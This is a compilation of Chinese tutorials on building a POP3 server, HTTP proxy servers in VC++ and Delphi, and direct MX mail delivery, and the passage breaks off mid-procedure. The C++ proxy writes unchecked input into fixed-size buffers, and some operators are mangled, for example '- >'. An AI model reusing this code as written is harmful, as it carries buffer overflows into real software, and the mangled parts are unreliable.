---- 服务器端利用TserverSocket,一直在侦听110端口，若客户端有连接请求，则ServerSocketAccept事件会被激活，建立起连接。

procedure TMyForm.ServerSocketAccept(Sender: TObject;
Socket:
TCustomWinSocket);
begin
Statusbar1.Panels[0].Text
:=
'连接到 ' + Socket.RemoteAddress;
//pop对象初始化
pop:=TPop.Create(nil);
pop.PopState:=init;
pop.LoginResult:=false;
pop.QuitFlag:=false;
ServerSocket.Socket.Connections[0]
.sendtext('+OK ibonc pop3 server is ready'+crlf);

end;
---- 2. 通信

---- 服务器端收到客户端发来的信息，则会激活ServerSocketClientRead事件，通过ServerSocket的Socket.ReceiveText可以得到信息的内容。

procedure TMyForm.ServerSocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var temp_command :string;
//存放接收到的命令行，并做去crlf的处理
begin
temp_command:=Socket.ReceiveText;
//to remove the crlf in command line
temp_command:=trim(copy(temp_command,1,
pos(crlf,temp_command)-1));
pop.ReceText:=pchar(temp_command);
if pop.popstate=init then
if strLIComp(pop.ReceText,'user ',5)=0 then
pop.user
else
ServerSocket.Socket.Connections[0]
.sendtext('-ERR user name please')
else if pop.popstate=authorization then
begin
if strLIComp(pop.ReceText,'pass ',5)=0 then
pop.pass
else if strIComp(pop.ReceText,'quit')=0 then
pop.aquit
else
ServerSocket.Socket.Connections[0]
.sendtext('-ERR pass word please');
end
else if pop.popstate=transaction then
begin
if strIComp(pop.ReceText,'stat')=0 then
pop.stat
else if strLIComp(pop.ReceText,'dele ',5)=0 then
pop.dele
else if strLIComp(pop.ReceText,'list',4)=0 then
pop.list
else if strLIComp(pop.ReceText,'retr ',5)=0 then
pop.retr
else if strIComp(pop.ReceText,'noop')=0 then
pop.noop
else if strIComp(pop.ReceText,'rset')=0 then
pop.rset
else if strIComp(pop.ReceText,'quit')=0 then
pop.tquit
else if strIComp(pop.ReceText,'last')=0 then
pop.last
else if strLIComp(pop.ReceText, 'apop ',5)=0 then
pop.apop
else if strLIComp(pop.ReceText, 'uidl ',5)=0 then
pop.uidl
else
ServerSocket.socket.connections[0]
.sendtext('-ERR no such command yet'+crlf);
end
end;
---- 3. 关闭连接

procedure TMyForm.ServerSocket
ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
ServerSocket.Active := False;
//如果client端没有通过quit 命令断连，
则在断连时要把那些f_dele置为0
if pop.QuitFlag=False then
begin
MyForm.query11.Close;
MyForm.query11.Params[0].Asstring:=pop.UserName;
MyForm.query11.prepare;
MyForm.query11.execsql;
end;
end;
---- 三． 结语

---- 由于Email系统与数据库表结构的紧密联系,笔者没有写出各POP3命令的具体实现。相信读者在认真阅读了RFC1939之后不难写出实现函数。现在就动手为你的公司写一个自己的Email服务器吧！


HTTP 代理服务器的实现

HTTP 代理服务器在 Windows下的实现

---- [本文为节略，全文可下载 Zip 28KB]

---- 普通的因特网访问是一个典型的客户机/服务器（Client/Server）结构：用户本地计算机上的客户端程序如浏览器发生请求，远端WWW服务器程序响应请求并提供相应的数据。而代理（Proxy）处于客户机和服务器之间，对于服务器来说，Proxy是客户机，提出请求；对于客户机来说，Proxy是服务器，它接受请求并提供数据。

---- 代理服务器模型

---- 代理服务器具有以下几个的优点：

---- ... ...

---- WWW代理服务器包括主要代理gopher，http，ftp，Telnet等几种服务，各种代理服务的基本工作原理是相同的。HTTP代理服务器是WWW代理服务器的一个最重要的组成部分，同时HTTP的代理服务器的实现比较简单，因此在这里以它为样本介绍Windows下的代理服务器的实现方法。本文只介绍的代理服务器数据包转发的实现方法，由于Cache的处理比较复杂，所以本文不对其进行讨论。

---- 1、Brower通过proxy访问Web Server头文件的数据格式

---- ... ...

---- ... ...

---- 3、程序框架结构

---- HTTP协议是各部分单独连接传送的，Web页面中的每个文本，图片都是作为独立单元传送的，为了提高Proxy的效率防止主程序阻塞，特意启动三级线程。

---- 各线程之间的关系

---- 主线程在Proxy端口监听Brower的申请，然后启动B_P_S线程；B_P_S线程负责接受每个Brower的申请（每个B_P_S都是独立的），在完成Brower到Server单向数据传送的同时启动S_P_B线程，然后由S_P_S线程完成Server到Brower的单向数据传送。由于篇幅所限，本文将简要介绍B发给P的数据分析函数、B_P_S线程函数和S_P_B线程函数

---- ... ...

---- 从以上的程序可以看出，Proxy是Brower访问Server的中介，它可以监控Brower发出的所有的HTTP数据包，对这些数据包进行阻塞，转发和流量记录。同时，它也可以监控Server发出的所有的HTTP数据包，对这些数据包进行阻塞，转发和流量记录。

---- 对Browser而言，在 HTTP服务上是连通的，但是在IP层却不通；然而对Server而言，它看到的只是一个IP节点。在Internet环境看，这是一个单向的数据传输模式。

---- 所有这些特点，使Proxy成为网络接入管理的核心部分，对Proxy简单扩展，就可以完成许多功能。如果对数据包进行过滤，就构成了一个Fierwall；如果对流量进行记录，就构成了一个计费系统。

---- 4、实现代理服务器的意义

---- HTTP代理服务器是中小型企业Web访问解决方案的重要组成部分，对它的功能进行简单的扩展，就可以构成访问计费系统和管理系统，因此拥有代理服务器的内核对企业管理和程序员都是很有意义的。


编写Proxy服务器

用VC++6.0编写Proxy服务器

---- 我们一般常用的Internet代理服务器是用微软的Proxy Server 2.0 。但我们可以自己动手编写一个简单、小型的Proxy Server 。下面介绍具体的实现方法。

---- 一． 原理

---- 本程序的结构原理如下：

---- 对于每一个用户的请求（Internet 请求，由浏览器发出），本程序将启动两个线程，一个把本地用户的请求数据发送到远程的Internet主机，另一个线程把远程主机的回应数据发送到本地请求用户。

---- 二． 主要函数

  1. UserToProxyThread ( void * pParam ) ：它是用来把本地用户请求数据发送到远程主机的，起服务器线程角色。当接到本地（局域网）用户的请求，它就启动另一个自身线程，以侦听别的用户的请求，并读出已接收到的请求数据，接着启动第二个线程ProxyToServer()（这个线程用来连接远程主机），当远程主机连接成功后，它把已读出的本地用户请求数据发送到远程主机。
  2. ProxyToServer ( void * pParam) ，可以被当作是客户端服务，它把远程主机发送来的数据分发给本地请求用户。
---- 三． 开发运行环境

---- 本程序是在VC++6.0环境下开发的，在Win95 和 WinNT4.0下运行正常。

---- 四． 详细代码

#include "stdafx.h"
#include "Proxy.h"
#include < winsock2.h >  //WINSOCKET  API 2。0
#include < stdlib.h >
#include < stdio.h >
#include < string.h >

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////

#define HTTP  "http://"
#define FTP   "ftp://"
#define PROXYPORT    5001    //Proxy 端口
#define BUFSIZE   10240      //缓冲区大小

CWinApp theApp;

using namespace std;

UINT ProxyToServer(LPVOID pParam);
UINT UserToProxyThread(void *pParam);

struct SocketPair{
    SOCKET  user_proxy;      //socket : 本地机器到PROXY 服务机
    SOCKET  proxy_server;    //socket : PROXY 服务机到远程主机
    BOOL    IsUser_ProxyClosed; // 本地机器到PROXY 服务机状态
    BOOL    IsProxy_ServerClosed; // PROXY 服务机到远程主机状态
};

struct ProxyParam{
    char Address[256];    // 远程主机地址
    HANDLE User_SvrOK;    // PROXY 服务机到远程主机的联结状态
    SocketPair *pPair;    // 维护一组SOCKET的指针
    int     Port;         // 用来联结远程主机的端口
    };                   //这个结构用来PROXY SERVER与远程主机的信息交换.

SOCKET    gListen_Socket;   //用来侦听的SOCKET。

int StartServer()  //启动服务
{
     WSADATA wsaData;
     sockaddr_in local;
     SOCKET listen_socket;

    if(::WSAStartup(0x202,&wsaData)!=0)
        {printf("\nError in Startup session.\n");WSACleanup();return -1;};

    local.sin_family=AF_INET;
    local.sin_addr.s_addr=INADDR_ANY;
    local.sin_port=htons(PROXYPORT);

    listen_socket=socket(AF_INET,SOCK_STREAM,0);
    if(listen_socket==INVALID_SOCKET)
        {printf("\nError in New a Socket.");WSACleanup();return -2;}

    if(::bind(listen_socket,(sockaddr *)&local,sizeof(local))!=0)
        {printf("\n Error in Binding socket.");	WSACleanup();return -3;	};

    if(::listen(listen_socket,5)!=0)
        {printf("\n Error in Listen."); WSACleanup(); return -4;}
    gListen_Socket=listen_socket;
    AfxBeginThread(UserToProxyThread,NULL);   //启动侦听
    return 1;
}

int CloseServer()  //关闭服务
{
    closesocket(gListen_Socket);
    WSACleanup();
    return 1;
}

//分析接收到的字符，得到远程主机地址
int GetAddressAndPort( char * str, char *address, int * port)
{
    char buf[BUFSIZE], command[512], proto[128], *p;
    int j;
    sscanf(str,"%s%s%s",command,buf,proto);
    p=strstr(buf,HTTP);
    //HTTP
    if(p)
    {
        p+=strlen(HTTP);
        for(int i=0;i< strlen(p);i++)
            if( *(p+i)=='/') break;
        *(p+i)=0;
        strcpy(address,p);
        p=strstr(str,HTTP);
        for(int j=0;j< i+strlen(HTTP);j++)
            *(p+j)=' ';  //去掉远程主机名: GET http://www.njust.edu.cn/ HTTP1.1  == > GET / HTTP1.1
        *port=80;      //缺省的 http 端口
    }
    else
    {//FTP, 不支持, 下面的代码可以省略.
     p=strstr(buf,FTP);
     if(!p) return 0;
         p+=strlen(FTP);
        for(int i=0;i< strlen(p);i++)
            if( *(p+i)=='/') break;      //Get The Remote Host
        *(p+i)=0;
        for(j=0;j< strlen(p);j++)
            if(*(p+j)==':')
                {*port=atoi(p+j+1);    //Get The Port
                 *(p+j)=0;
                }
             else *port=21;

        strcpy(address,p);
        p=strstr(str,FTP);
        for(j=0;j< i+strlen(FTP);j++)
            *(p+j)=' ';
    }
    return 1;
}

// 取到本地的数据，发往远程主机
UINT UserToProxyThread(void *pParam)
{
     char Buffer[BUFSIZE];
     int  Len;
     sockaddr_in from;
     SOCKET msg_socket;
     int fromlen,retval;
     SocketPair SPair;
     ProxyParam ProxyP;
     CWinThread *pChildThread;
     fromlen=sizeof(from);
     msg_socket=accept(gListen_Socket,(struct sockaddr*)&from,&fromlen);
      AfxBeginThread(UserToProxyThread,pParam); //启动另一侦听.
     if( msg_socket==INVALID_SOCKET)
        { printf( "\nError  in accept "); return -5;}

    //读客户的第一行数据

     SPair.IsUser_ProxyClosed=FALSE;
     SPair.IsProxy_ServerClosed=TRUE;
     SPair.user_proxy=msg_socket;

     retval=recv(SPair.user_proxy,Buffer,sizeof(Buffer),0);

     if(retval==SOCKET_ERROR)
            { printf("\nError Recv");
              if(SPair.IsUser_ProxyClosed==FALSE)
                {closesocket(SPair.user_proxy);
                 SPair.IsUser_ProxyClosed=TRUE;
                }
            }
     if(retval==0)
            {printf("Client Close connection\n");
             if(SPair.IsUser_ProxyClosed==FALSE)
                {closesocket(SPair.user_proxy);
                 SPair.IsUser_ProxyClosed=TRUE;
                }
            }
     Len=retval;
#ifdef _DEBUG

     Buffer[Len]=0;
     printf("\n Received %d bytes,data[%s]from client\n",retval,Buffer);
#endif
     //
     SPair.IsUser_ProxyClosed=FALSE;
     SPair.IsProxy_ServerClosed=TRUE;
     SPair.user_proxy=msg_socket;

     ProxyP.pPair=&SPair;
     ProxyP.User_SvrOK=CreateEvent(NULL,TRUE,FALSE,NULL);

     GetAddressAndPort( Buffer,ProxyP.Address,&ProxyP.Port);

     pChildThread=AfxBeginThread(ProxyToServer,(LPVOID)&ProxyP);
     ::WaitForSingleObject(ProxyP.User_SvrOK,60000);  //等待联结
     ::CloseHandle(ProxyP.User_SvrOK);

  while(SPair.IsProxy_ServerClosed ==FALSE && SPair.IsUser_ProxyClosed==FALSE)
     {
       retval=send(SPair.proxy_server,Buffer,Len,0);
       if(retval==SOCKET_ERROR)
        { printf("\n send() failed:error%d\n",WSAGetLastError());
         if(SPair.IsProxy_ServerClosed==FALSE)
            {
                closesocket(SPair.proxy_server);
                SPair.IsProxy_ServerClosed=TRUE;
            }
          continue;
        }
        retval=recv(SPair.user_proxy,Buffer,sizeof(Buffer),0);

        if(retval==SOCKET_ERROR)
            { printf("\nError Recv");
              if(SPair.IsUser_ProxyClosed==FALSE)
                {closesocket(SPair.user_proxy);
                 SPair.IsUser_ProxyClosed=TRUE;
                }
              continue;
            }
        if(retval==0)
            {printf("Client Close connection\n");
             if(SPair.IsUser_ProxyClosed==FALSE)
                {closesocket(SPair.user_proxy);
                 SPair.IsUser_ProxyClosed=TRUE;
                }
             break;
            }
        Len=retval;
#ifdef _DEBUG
        Buffer[Len]=0;
     printf("\n Received %d bytes,data[%s]from client\n",retval,Buffer);
#endif

  } //End While

     if(SPair.IsProxy_ServerClosed==FALSE)
            {
                closesocket(SPair.proxy_server);
                SPair.IsProxy_ServerClosed=TRUE;
            }
     if(SPair.IsUser_ProxyClosed==FALSE)
                {closesocket(SPair.user_proxy);
                 SPair.IsUser_ProxyClosed=TRUE;
                }
    ::WaitForSingleObject(pChildThread- >m_hThread,20000);  //Should check the return value
    return 0;
}

// 读取远程主机数据，并发往本地客户机
UINT ProxyToServer(LPVOID pParam){
    ProxyParam * pPar=(ProxyParam*)pParam;
    char Buffer[BUFSIZE];
    char *server_name= "localhost";
    unsigned short port ;
    int retval,Len;
    unsigned int addr;
    int socket_type ;
    struct sockaddr_in server;
    struct hostent *hp;
    SOCKET  conn_socket;

    socket_type = SOCK_STREAM;
    server_name = pPar- >Address;
    port = pPar- >Port;

    if (isalpha(server_name[0])) {   /* server address is a name */
        hp = gethostbyname(server_name);
    }
    else  { /* Convert nnn.nnn address to a usable one */
        addr = inet_addr(server_name);
        hp = gethostbyaddr((char *)&addr,4,AF_INET);
    }
    if (hp == NULL ) {
        fprintf(stderr,"Client: Cannot resolve address [%s]: Error %d\n",
            server_name,WSAGetLastError());
        ::SetEvent(pPar- >User_SvrOK);
        return 0;
    }

    //
    // Copy the resolved information into the sockaddr_in structure
    //
    memset(&server,0,sizeof(server));
    memcpy(&(server.sin_addr),hp- >h_addr,hp- >h_length);
    server.sin_family = hp- >h_addrtype;
    server.sin_port = htons(port);

    conn_socket = socket(AF_INET,socket_type,0); /* 打开一个 socket */
    if (conn_socket < 0 ) {
        fprintf(stderr,"Client: Error Opening socket: Error %d\n",
            WSAGetLastError());
        pPar- >pPair- >IsProxy_ServerClosed=TRUE;
        ::SetEvent(pPar- >User_SvrOK);
        return -1;
    }

#ifdef _DEBUG
    printf("Client connecting to: %s\n",hp- >h_name);
#endif
    if (connect(conn_socket,(struct sockaddr*)&server,sizeof(server))
        == SOCKET_ERROR) {
        fprintf(stderr,"connect() failed: %d\n",WSAGetLastError());
        pPar- >pPair- >IsProxy_ServerClosed=TRUE;
        ::SetEvent(pPar- >User_SvrOK);
        return -1;
    }
    pPar- >pPair- >proxy_server=conn_socket;
    pPar- >pPair- >IsProxy_ServerClosed=FALSE;
    ::SetEvent(pPar- >User_SvrOK);
    // cook up a string to send
    while(!pPar- >pPair- >IsProxy_ServerClosed &&!pPar- >pPair- >IsUser_ProxyClosed)
    {
        retval = recv(conn_socket,Buffer,sizeof (Buffer),0 );
        if (retval == SOCKET_ERROR ) {
            fprintf(stderr,"recv() failed: error %d\n",WSAGetLastError());
            closesocket(conn_socket);
            pPar- >pPair- >IsProxy_ServerClosed=TRUE;
            break;
        }
        Len=retval;
        if (retval == 0) {
            printf("Server closed connection\n");
            closesocket(conn_socket);
            pPar- >pPair- >IsProxy_ServerClosed=TRUE;
            break;
            }

        retval = send(pPar- >pPair- >user_proxy,Buffer,Len,0);
        if (retval == SOCKET_ERROR) {
            fprintf(stderr,"send() failed: error %d\n",WSAGetLastError());
            closesocket(pPar- >pPair- >user_proxy);
            pPar- >pPair- >IsUser_ProxyClosed=TRUE;
            break;
        }
#ifdef _DEBUG
        Buffer[Len]=0;
        printf("Received %d bytes, data [%s] from server\n",retval,Buffer);
#endif
    }
    if(pPar- >pPair- >IsProxy_ServerClosed==FALSE)
            {
                closesocket(pPar- >pPair- >proxy_server);
                pPar- >pPair- >IsProxy_ServerClosed=TRUE;
            }
     if(pPar- >pPair- >IsUser_ProxyClosed==FALSE)
                {closesocket(pPar- >pPair- >user_proxy);
                 pPar- >pPair- >IsUser_ProxyClosed=TRUE;
                }
     return 1;
}

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
    int nRetCode = 0;

    // 初始化SOCKET
    if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
    {
        // 错误处理
        cerr < <  _T("Fatal Error: MFC initialization failed") < <  endl;
        nRetCode = 1;
    }
    else
    {
        // 主程序开始.
        StartServer();
        while(1)
            if(getchar()=='q') break;
        CloseServer();
    }

    return nRetCode;
}


编写SMTP邮件服务器

作者：Riceball(teditor@mailroom.com)

许多时候，我想不通为什么不能直接将信件送到对方(POP或IMAP)服务器上，为什么非要通过一个莫名其妙的SMTP邮件服务器转交一次，实在不服气，如果使用UNIX，这个问题就很好解决，用sendmail就能完成递送任务，但在Windows下呢？同样的，一定也有办法饶开SMTP Server直接递送到对方的远程邮局服务器上，难得住别人，难得住我们程序员吗？分析相关协议（RFC2645,RFC821, RFC1846,RFC1939,RFC1725,RFC1730-RFC1733 etc.），我们会知道要完成直接递送其实相当简单。

首先我们看一下Email的递送过程：Email(Encode) -> a SMTP Relay Server -> Remote SMTP Server(远程邮局)。非常简单，邮件编码后被递送到一个SMTP转交服务器上，该服务器对信件分检（到同一邮局的被放在一起）后，根据优先级以及信件的先后次序被发送到远程邮局的SMTP服务器上。换句话说，只要我们知道了SMTP转交服务器是如何确定远程邮局SMTP服务器的地址的，就可以轻松地将饶开SMTP Relay Server直接递送到远程邮局服务器。

SMTP Relay Server是如何确定远程邮局服务器的地址的呢？如果你熟悉域名解析，就知道是怎么回事了，我们知道电子邮件的地址由两部分构成postbox@address.com，邮箱（postbox）和地址（address.com），给域名服务器发送指令查询“address.com”的远程邮局服务器的地址即可找到远程邮局SMTP服务器的IP 地址，该指令查询是被称作MX(Mail Exchange)邮件交换服务器的地址查询。远程邮局SMTP服务器的地址可能不止一个，这时，你可根据信件优先级的不同，将对应优先级的信件发到对应地址的远程邮局SMTP服务器，当然，你也可以不管三七二十一，随便选一个SMTP服务器发送，见后附“域名解析结果样例”。简单吧。这下，自己编写一个SMTP Server不难了吧！

问题：头ID是个麻烦的事，有时会产生Invalid Head ID 5811的错误。

附：域名解析结果样例

Answer List

Resource name is : sina.com

Type is : MX Class is : IN

MX Priority : 10 MX Server : mailcn.sina.com

Resource name is : sina.com

Type is : MX Class is : IN

MX Priority : 15 MX Server : mail.sina.com.cn

Authority List

Resource name is : sina.com

Type is : NS Class is : IN

Domain name is : resolver.sina.com

Resource name is : sina.com

Type is : NS Class is : IN

Domain name is : ns2.sina.com

Additional Response List

Resource name is : mailcn.sina.com

Type is : A Class is : IN

IP Address is : 202.106.184.233

Resource name is : mail.sina.com.cn

Type is : A Class is : IN

IP Address is : 202.106.187.150

Resource name is : resolver.sina.com

Type is : A Class is : IN

IP Address is : 206.204.114.135

Resource name is : ns2.sina.com

Type is : A Class is : IN

IP Address is : 209.133.24.135


用Delphi设计代理服务器

笔者在编写一个上网计费软件时，涉及到如何对局域网中各工作站上网计费问题。一
般来讲，这些工作站通过代理服务器上网，而采用现成的代理服务器软件时，由于代理服
务器软件是封闭的系统，很难编写程序获取实时的上网计时信息。因此，考虑是否能编写
自己的代理服务器，一方面解决群体上网，另一方面又解决上网的计费问题呢？
经过实验性编程，终于圆满地解决了该问题。现写出来，与各位同行分享。

1、 思路
当前流行的浏览器的系统选项中有一个参数，即“通过代理服务器连接”，经过编程测
试，当局域网中一台工作站指定了该属性，再发出Internet请求时，请求数据将发送到所
指定的代理服务器上，以下为请求数据包示例：
GET http://home.microsoft.com/intl/cn/ HTTP/1.0
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Host: home.microsoft.com
Proxy-Connection: Keep-Alive
其中第一行为目标URL及相关方法、协议，“Host”行指定了目标主机的地址。
由此知道了代理服务的过程：接收被代理端的请求、连接真正的主机、接收主机返回的数
据、将接收数据发送到被代理端。
为此可编写一个简单的程序，完成上述网络通信重定向问题。
用Delphi设计时，选用ServerSocket作为与被代理工作站通信的套接字控件，选用
ClientSocket动态数组作为与远程主机通信的套接字控件。
编程时应解决的一个重要问题是多重连接处理问题，为了加快代理服务的速度和被代理端
的响应速度，套接字控件的属性应设为非阻塞型；各通信会话与套接字动态绑定，用套接
字的SocketHandle属性值确定属于哪一个会话。
通信的衔接过程如下图所示：
------------------------------------------------------------------------------

代理服务器

Serversocket
(1) 接 收
被代理端 发 送 远程主机
(6) (2) (5)
Browser ClientSocket (4) Web
Server
接 收
发 送 (3)
------------------------------------------------------------------------------

示意图

（1）、被代理端浏览器发出Web请求，代理服务器的Serversocket接收到请求。
（2）、代理服务器程序自动创建一个ClientSocket，并设置主机地址、端口等属性，然
后连接远程主机。
（3）、远程连通后激发发送事件，将Serversocket接收到的Web请求数据包发送到远程主
机。
（4）、当远程主机返回页面数据时，激发ClientSocket的读事件，读取页面数据。
（5）、代理服务器程序根据绑定信息确定属于ServerSocket控件中的哪一个Socket应该
将从主机接收的页面信息发送到被代理端。
（6）、ServerSocket中的对应Socket将页面数据发送到被代理端。

2、 程序编写
使用Delphi设计以上通信过程非常简单，主要是ServerSocket、ClientSocket的相关事
件驱动程序的程序编写。下面给出作者编写的实验用代理服务器界面与源程序清单，内含
简要功能说明：

unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, ScktComp, TrayIcon, Menus, StdCtrls;

type
session_record=record
Used: boolean; {会话记录是否可用}
SS_Handle: integer; {代理服务器套接字句柄}
CSocket: TClientSocket; {用于连接远程的套接字}
Lookingup: boolean; {是否正在查找服务器}
LookupTime: integer; {查找服务器时间}
Request: boolean; {是否有请求}
request_str: string; {请求数据块}
client_connected: boolean; {客户机联机标志}
remote_connected: boolean; {远程服务器连接标志}
end;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
ClientSocket1: TClientSocket;
Timer2: TTimer;
TrayIcon1: TTrayIcon;
PopupMenu1: TPopupMenu;
N11: TMenuItem;
N21: TMenuItem;
N1: TMenuItem;
N01: TMenuItem;
Memo1: TMemo;
Edit1: TEdit;
Label1: TLabel;
Timer1: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure N11Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure N21Click(Sender: TObject);
procedure N01Click(Sender: TObject);
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ClientSocket1Write(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure ServerSocket1Listen(Sender: TObject;
Socket: TCustomWinSocket);
procedure AppException(Sender: TObject; E: Exception);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
Service_Enabled: boolean; {代理服务是否开启}
session: array of session_record; {会话数组}
sessions: integer; {会话数}
LookUpTimeOut: integer; {连接超时值}
InvalidRequests: integer; {无效请求数}
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

//系统启动定时器，启动窗显示完成后，缩小到System Tray…
procedure TForm1.Timer2Timer(Sender: TObject);
begin
timer2.Enabled:=false; {关闭定时器}
sessions:=0; {会话数=0}
Application.OnException := AppException; {为了屏蔽代理服务器出现的异常
}
invalidRequests:=0; {0错误}
LookUpTimeOut:=60000; {超时值=1分钟}
timer1.Enabled:=true; {打开定时器}
n11.Enabled:=false; {开启服务菜单项失效}
n21.Enabled:=true; {关闭服务菜单项有效}
serversocket1.Port:=988; {代理服务器端口=988}
serversocket1.Active:=true; {开启服务}
form1.hide; {隐藏界面，缩小到System Tray上}
end;

//开启服务菜单项…
procedure TForm1.N11Click(Sender: TObject);
begin
serversocket1.Active:=true; {开启服务}
end;

//停止服务菜单项…
procedure TForm1.N21Click(Sender: TObject);
begin
serversocket1.Active:=false; {停止服务}
N11.Enabled:=True;
N21.Enabled:=False;
Service_Enabled:=false; {标志清零}
end;

//主窗口建立…
procedure TForm1.FormCreate(Sender: TObject);
begin
Service_Enabled:=false;
timer2.Enabled:=true; {窗口建立时，打开定时器}
end;

//窗口关闭时…
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
timer1.Enabled:=false; {关闭定时器}
if Service_Enabled then
serversocket1.Active:=false; {退出程序时关闭服务}
end;

//退出程序按钮…
procedure TForm1.N01Click(Sender: TObject);
begin
form1.Close; {退出程序}
end;

//开启代理服务后…
procedure TForm1.ServerSocket1Listen(Sender: TObject;
Socket: TCustomWinSocket);
begin
Service_Enabled:=true; {置正在服务标志}
N11.Enabled:=false;
N21.Enabled:=true;
end;

//被代理端连接到代理服务器后，建立一个会话，并与套接字绑定…
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
var
i,j: integer;
begin
j:=-1;
for i:=1 to sessions do {查找是否有空白项}
if not session[i-1].Used and not session[i-1].CSocket.active then
begin
j:=i-1; {有，分配它}
session[j].Used:=true; {置为在用}
break;
end
else
if not session[i-1].Used and session[i-1].CSocket.active then
session[i-1].CSocket.active:=false;
if j=-1 then
begin {无，新增一个}
j:=sessions;
inc(sessions);
setlength(session,sessions);
session[j].Used:=true; {置为在用}
session[j].CSocket:=TClientSocket.Create(nil);
session[j].CSocket.OnConnect:=ClientSocket1Connect;
session[j].CSocket.OnDisconnect:=ClientSocket1Disconnect;
session[j].CSocket.OnError:=ClientSocket1Error;
session[j].CSocket.OnRead:=ClientSocket1Read;
session[j].CSocket.OnWrite:=ClientSocket1Write;
session[j].Lookingup:=false;
end;
session[j].SS_Handle:=socket.socketHandle; {保存句柄，实现绑定}
session[j].Request:=false; {无请求}
session[j].client_connected:=true; {客户机已连接}
session[j].remote_connected:=false; {远程未连接}
edit1.text:=inttostr(sessions);
end;

//被代理端断开时…
procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
var
i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i-1].SS_Handle=socket.SocketHandle) and session[i-1].Used
then
begin
session[i-1].client_connected:=false; {客户机未连接}
if session[i-1].remote_connected then
session[i-1].CSocket.active:=false {假如远程尚连接，断开它}
else
session[i-1].Used:=false; {假如两者都断开，则置释放资
源标志}
源标志}
break;
end;
j:=sessions;
k:=0;
for i:=1 to j do {统计会话数组尾部有几个未用项}
begin
if session[j-i].Used then
break;
inc(k);
end;
if k>0 then {修正会话数组，释放尾部未用项}
begin
sessions:=sessions-k;
setlength(session,sessions);
end;
edit1.text:=inttostr(sessions);
end;

//通信错误出现时…
procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
var
i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i-1].SS_Handle=socket.SocketHandle) and session[i-1].Used
then
begin
session[i-1].client_connected:=false; {客户机未连接}
if session[i-1].remote_connected then
session[i-1].CSocket.active:=false {假如远程尚连接，断开它}
else
session[i-1].Used:=false; {假如两者都断开，则置释放资
源标志}
break;
end;
j:=sessions;
k:=0;
for i:=1 to j do
begin
if session[j-i].Used then
break;
inc(k);
end;
if k>0 then
begin
sessions:=sessions-k;
setlength(session,sessions);
end;
edit1.text:=inttostr(sessions);
errorcode:=0;
end;

//被代理端发送来页面请求时…
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
tmp,line,host: string;
i,j,port: integer;
begin
for i:=1 to sessions do {判断是哪一个会话}
if session[i-1].Used and (session[i-1].SS_Handle=socket.sockethandle)
then
begin
session[i-1].request_str:=socket.ReceiveText; {保存请求数据}
tmp:=session[i-1].request_str; {存放到临时变量}
memo1.lines.add(tmp);
j:=pos(char(13)+char(10),tmp); {一行标志}
while j>0 do {逐行扫描请求文本，查找主机地
址}
begin
line:=copy(tmp,1,j-1); {取一行}
delete(tmp,1,j+1); {删除一行}
j:=pos('Host',line); {主机地址标志}
if j>0 then
begin
delete(line,1,j+5); {删除前面的无效字符
}
j:=pos(':',line);
if j>0 then
begin
host:=copy(line,1,j-1);
delete(line,1,j);
try
port:=strtoint(line);
except
port:=80;
end;
end
else
begin
host:=trim(line); {获取主机地址
}
port:=80;
end;
if not session[i-1].remote_connected then {假如远征
尚未连接}
begin
session[i-1].Request:=true; {置请求数据就
绪标志}
session[i-1].CSocket.host:=host; {设置远程主机
地址}
session[i-1].CSocket.port:=port; {设置端口
}
session[i-1].CSocket.active:=true; {连接远程
主机}
session[i-1].Lookingup:=true; {置标志}
session[i-1].LookupTime:=0; {从0开始计
时}
end
else
{假如远程已连接，直接发送请求}
session[i-1].CSocket.socket.sendtext(session[i-1].
request_str);
break; {停止扫描请求文本}
end;
j:=pos(char(13)+char(10),tmp); {指向下一行}
end;
break; {停止循环}
end;
end;

//当连接远程主机成功时…
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
var
i: integer;
begin
for i:=1 to sessions do
if (session[i-1].CSocket.socket.sockethandle=socket.SocketHandle) and
session[i-1].Used then
begin
session[i-1].CSocket.tag:=socket.SocketHandle;
session[i-1].remote_connected:=true; {置远程主机已连通标志}
session[i-1].Lookingup:=false; {清标志}
break;
end;
end;

//当远程主机断开时…
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
